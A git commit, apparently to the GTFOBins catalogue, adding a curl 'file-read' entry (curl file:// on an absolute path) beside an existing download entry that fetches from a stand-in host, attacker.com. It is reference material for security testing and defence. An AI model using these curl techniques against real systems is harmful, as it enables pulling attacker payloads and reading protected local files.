Add file-read to curl

This commit is contained in:
Roman Mueller 2018-06-10 10:49:59 +02:00 committed by Emilio Pinna
parent e3c2d148ca
commit 7660674537

View File

@ -12,4 +12,9 @@ functions:
URL=http://attacker.com/file_to_get
LFILE=file_to_save
curl $URL -o $LFILE
file-read:
- description: The file path must be absolute.
code: |
LFILE=/tmp/file_to_read
curl file://$LFILE
---